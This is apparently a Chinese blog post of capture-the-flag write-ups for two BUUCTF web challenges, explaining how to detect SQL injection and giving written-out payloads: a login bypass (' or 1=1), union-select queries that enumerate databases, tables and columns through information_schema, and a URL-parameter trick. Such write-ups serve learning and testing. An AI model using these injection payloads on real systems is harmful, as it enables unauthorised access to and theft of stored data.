首页 > 其他分享 >Buuctf-Web(1-6)

Buuctf-Web(1-6)

时间:2024-06-04 13:35:22浏览次数:17  
标签:Web Buuctf union base64 file php page select

1[极客大挑战 2019]EasySQL

根据题目,用单引号检测是否存在SQL注入漏洞

分析报错信息:看'单引号后面跟着的字符,是什么字符,它的闭合字符就是什么,若是没有,就为数字型。

在两个位置用单引号测试,发现闭合符号为单引号,注入点在password

image-20240520154524845

万能密码法

image-20240520153459341

image-20240520153507112

常规法

注入流程

数据库->表->字段->值

根据注入位置数据类型将sql注入分类
利用order判断字段数
order by x(数字) 正常与错误的正常值 正确网页正常显示,错误网页报错

?id=1' order by 3--+

利用 union select 联合查询,将id值设置成不成立,即可探测到可利用的字段数payload是插入到原来的语句当中,构成了两个sql的语句,当第一个sql语句正确返回时,便不会显示第二个sql语句的结果。

?id=-1 union select 1,2,3 --+

利用函数database(),user(),version()可以得到所探测数据库的数据库名、用户名和版本号

?id=-1' union select 1,database(),version() --+

利用 union select 联合查询,获取表名

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='已知库名'--+

利用 union select 联合查询,获取字段名

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='已知库名' table_name='已知表名'--+

利用 union select 联合查询,获取字段值

?id=-1' union select 1,2,group_concat(已知字段名,':'已知字段名) from 已知表名--+

本题payload:

?username=1&password=1' or 1=1%23

image-20240520154920455

[极客大挑战 2019]EasySQL - 知乎 (zhihu.com)

2[极客大挑战 2019]Havefun

查看源代码,找到这道题的关键

image-20240520155040569

payload:

?cat=dog

image-20240520155557078

我还以为是xss

标签:Web,Buuctf,union,base64,file,php,page,select
From: https://www.cnblogs.com/Mchacha/p/18230562

相关文章